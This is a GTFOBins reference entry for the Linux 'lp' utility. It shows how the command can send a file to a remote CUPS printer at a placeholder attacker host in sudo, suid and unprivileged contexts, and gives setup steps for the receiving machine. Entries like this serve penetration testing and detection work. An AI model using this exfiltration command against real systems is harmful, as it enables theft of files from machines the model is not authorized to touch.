Catalog GTFOBins

GTFO · Tool

lp

3 techniques LinuxGTFOBins GPL-3.0

upload

File UploadPrivilege Escalation Linux

This requires `cups` to be installed. Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet.

lp /path/to/input-file -h attacker.com
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation Linux

This requires `cups` to be installed. Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet.

lp /path/to/input-file -h attacker.com
Context
suid
Native
upload
MITRE
T1041

upload

File Upload Linux

This requires `cups` to be installed. Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet.

lp /path/to/input-file -h attacker.com
Context
unprivileged
Native
upload
MITRE
T1041